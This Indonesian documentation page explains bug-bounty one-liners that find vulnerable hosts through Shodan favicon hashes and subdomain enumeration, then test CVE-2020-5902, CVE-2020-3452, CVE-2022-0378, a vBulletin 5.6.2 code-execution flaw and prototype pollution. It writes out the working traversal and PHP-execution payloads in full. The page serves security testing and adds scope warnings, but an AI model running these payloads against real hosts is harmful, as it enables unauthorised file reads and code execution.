Lompat ke konten
dokumentasi.id
Commit 89c41b0
v1
Star3,2 rb

4.3

CVE, RCE, dan Prototype Pollution

Bagian ini menutup rangkaian deteksi dengan perintah yang langsung memberi verdict, bukan lagi kandidat. Ada dua bentuk: pencarian host lewat sidik favicon shodan search yang dilanjutkan curl ke satu path tetap, dan pipeline page-fetch yang menyuntikkan __proto__[testparam]=exploit untuk menguji prototype pollution. Placeholder HOST, HOSTS.txt, dan URLS.txt mengikuti konvensi di Placeholder dan Konvensi Penulisan One-liner.

Dari shodan search ke curl ke verdict

One-liner CVE-2020-5902 dan vBulletin sama-sama mulai dari satu query sidik favicon. Hasil shodan search dibatasi ke --fields ip_str,port --separator " ", lalu awk '{print $1":"$2}' menyatukan keduanya menjadi host:port. Setiap baris masuk ke while read host, dan curl menguji satu request tetap; keputusan diambil oleh grep -q atas penanda di response. README.md:64-69

graph LR
  S["shodan search http.favicon.hash:-335242539"] --> A["awk ip_str:port"]
  A --> W["while read host"]
  W --> C["curl --path-as-is --insecure"]
  C --> G["grep -q root"]
  G -->|cocok| V["Vulnerable merah"]
  G -->|tidak cocok| N["Not Vulnerable hijau"]
  style S fill:#8b5cf6,color:#fff
  style C fill:#f59e0b,color:#000
  style G fill:#f59e0b,color:#000
  style V fill:#dc2626,color:#fff
  style N fill:#2d7d46,color:#fff
%% fig: Alur shodan search ke curl ke verdict
%% desc: Sidik favicon menghasilkan pasangan ip:port, curl menguji satu path traversal, lalu grep -q root memutuskan verdict merah atau hijau.
Fig. 1: Alur shodan search ke curl ke verdictSidik favicon menghasilkan pasangan ip:port, curl menguji satu path traversal, lalu grep -q root memutuskan verdict merah atau hijau.

Pada CVE-2020-5902, path uji memuat tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd. Opsi --path-as-is mencegah curl menormalkan ..;/ sehingga traversal sampai ke server apa adanya, dan --insecure melewati verifikasi sertifikat TLS. Penanda suksesnya sederhana: grep -q root, yaitu jejak isi /etc/passwd di response. README.md:64-69

Pada vBulletin 5.6.2, query memakai sidik http.favicon.hash:-601665621 tanpa parameter tambahan, dan curl mengirim POST ke http://$host/ajax/render/widget_tabbedcontainer_tab_panel dengan body subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();. Penandanya grep -q phpinfo, yaitu keluaran fungsi PHP yang dieksekusi. README.md:85-90

⚠️ shodan search mengembalikan host milik pihak lain, bukan hanya aset program. Setiap host wajib dicek terhadap scope sebelum curl dijalankan, karena dua perintah ini mengirim path traversal dan payload eksekusi kode ke host tersebut. README.md:64-69

Empat one-liner CVE dan RCE

Dua perintah lain tidak memakai Shodan. CVE-2020-3452 membaca HOSTS.txt baris per baris lewat while read LINE; do ... done < HOSTS.txt, sedangkan CVE-2022-0378 membaca URLS.txt lewat pipe. Keduanya tetap memakai pola yang sama: satu request, satu penanda di response. README.md:71-76

One-linerTitik awalRequest ujiPenanda sukses
CVE-2020-5902shodan search http.favicon.hash:-335242539 "3992"curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"grep -q root
CVE-2020-3452HOSTS.txtcurl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../"grep -q "Cisco"
CVE-2022-0378URLS.txtcurl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"grep -qs "onmouse"
vBulletin 5.6.2shodan search http.favicon.hash:-601665621curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();'grep -q phpinfo

CVE-2020-3452 memakai traversal pada parameter: type=mst dan textdomain=/%2bCSCOE%2b/portal_inc.lua dengan lang=../, lalu head | grep -q "Cisco" memastikan berkas Lua internal ikut terbaca. One-liner ini juga mencetak verdict berwarna, tetapi ${GREEN}, ${RED}, dan ${NC} tidak didefinisikan di dalam perintah, jadi variabel itu harus sudah ada di shell. README.md:71-76

CVE-2022-0378 justru tidak memakai shodan maupun HOSTS.txt; ia membaca URLS.txt dan menempelkan /module/?module=admin%2Fmodules%2Fmanage pada setiap URL. Penandanya grep -qs "onmouse", yaitu jejak atribut onmousemove yang tidak di-escape pada response. Perintah menulis while read h do; do, sehingga read menerima dua variabel dan h hanya berisi field pertama setiap baris. Tidak ada cabang ||, jadi host yang tidak rentan tidak menghasilkan keluaran sama sekali. README.md:78-83

Prototype pollution lewat page-fetch

Pipeline prototype pollution tidak memakai fingerprint vendor, melainkan menguji perilaku JavaScript. subfinder -d HOST -all -silent dan httpx -silent -threads 300 menyusun daftar host, anew -q FILE.txt membuang duplikat, lalu sed 's/$/\/?__proto__[testparam]=exploit\//' menambahkan parameter ke akhir setiap baris. README.md:57-62

graph LR
  SU["subfinder -d HOST -all -silent"] --> HT["httpx -silent -threads 300"]
  HT --> AN["anew -q FILE.txt"]
  AN --> SE["sed append __proto__[testparam]=exploit"]
  SE --> PF["page-fetch -j window.testparam"]
  PF --> CL["sed hapus kurung dan prefiks JS"]
  CL --> GR["grep VULNERABLE"]
  style AN fill:#336791,color:#fff
  style SE fill:#8b5cf6,color:#fff
  style PF fill:#f59e0b,color:#000
  style GR fill:#2d7d46,color:#fff
%% fig: Pipeline prototype pollution dengan page-fetch
%% desc: subfinder dan httpx mengumpulkan host, sed menambah parameter __proto__, page-fetch mengevaluasi ekspresi JavaScript, lalu grep memfilter baris verdict.
Fig. 2: Pipeline prototype pollution dengan page-fetchsubfinder dan httpx mengumpulkan host, sed menambah parameter __proto__, page-fetch mengevaluasi ekspresi JavaScript, lalu grep memfilter baris verdict.

Inti pengujiannya ada di satu ekspresi: page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"'. Ekspresi itu berjalan di halaman hasil injeksi; jika properti testparam naik ke window, cabang pertama yang tercetak. Rantai sed sesudahnya hanya merapikan keluaran dengan membuang (, ), dan prefiks JS sebelum grep "VULNERABLE" menyaring hasil. README.md:57-62

⚠️ Pola grep "VULNERABLE" juga cocok pada [NOT VULNERABLE], karena string itu memuat kata yang sama. Host yang tidak rentan tetap lolos ke keluaran, jadi verdict harus dibaca dari teks lengkap setiap baris. README.md:57-62

One-linerVerdict saat cocokVerdict saat tidak cocok
CVE-2020-5902"$host" dengan Vulnerable merah"$host" dengan Not Vulnerable hijau
CVE-2020-3452[VULNERABLE] $LINE[NOT VULNERABLE] $LINE
CVE-2022-0378$h: VULNERABLEtidak ada keluaran
vBulletin 5.6.2"$host" dengan Vulnerable merah"$host" dengan Not Vulnerable hijau
Prototype pollutionbaris [VULNERABLE] dari page-fetchbaris [NOT VULNERABLE] yang ikut lolos grep

⚠️ subWidgets[0][config][code]=phpinfo(); mengeksekusi kode PHP di host target, dan fileName=/etc/passwd membaca berkas sistem. Kedua perintah hanya aman dijalankan pada aset yang eksplisit masuk scope dan memberi izin pengujian. README.md:85-90

Setelah verdict keluar, tahap berikutnya adalah merangkai perintah recon dan deteksi ini menjadi satu alur kerja; urutannya dibahas di Alur Pipeline dan Toolchain.